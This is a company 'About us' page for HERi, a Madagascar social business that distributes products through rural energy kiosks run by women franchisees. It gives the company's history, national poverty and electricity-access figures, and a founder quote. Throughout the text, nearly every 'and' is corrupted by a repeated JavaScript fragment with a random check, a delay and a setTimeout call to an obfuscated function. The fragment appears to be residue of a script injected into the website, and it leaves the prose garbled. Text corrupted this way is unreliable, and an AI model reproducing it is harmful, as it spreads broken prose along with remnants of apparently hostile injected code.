About us

HERi is a social business that improves the lives of Madagascar’s rural population by distributing innovative products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services through a network of energy kiosks managed by female entrepreneurs.

The first HERi kiosk was opened in 2012. Since then, the company has expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded its operations to different regions of the country. It helps to improve the daily lives of thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of Malagasy families living in rural areas.

Challenge

Madagascar has a population of approximately 24.2 million, of which 91% live on less than two US dollars a day, putting the country among the ten poorest in the world. 78% of the population live in rural areas without a regular income andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and depend on subsistence farming.

In addition, the electricity access rate in Madagascar, at approximately 15%, is less than half the sub-Saharan Africa average; the rate is less than 5% in rural areas. As a result, the Malagasy population is highly vulnerable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and generally does not have access to basic goods andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services, depriving the majority of inhabitants of appropriate opportunities, better incomes, access to education andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a decent standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard of living.

Hitsory

HERi was founded in 2012 by Junte Wasmann andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Fafah Vonintsoa to enable the most vulnerable rural populations to access innovative products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services while simultaneously promoting socioeconomic development andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reducing the impact on the environment. They developed an innovative andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and inclusive distribution model based on a network of energy kiosks managed by female franchise entrepreneurs in the heart of rural villages in Madagascar.

This model has been highly successful andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has enabled the company to rapidly increase its presence across the country. Today, HERi is continuing to develop its network towards a sustainable financial model based on economies of scale while increasing its socioeconomic impacts.

«HERi has developed an innovative distribution network that brings life-changing products to the people whoneed them most, that is to say to the last-mile delivery low-income communities.»

Junte Wasmann, founder of HERi

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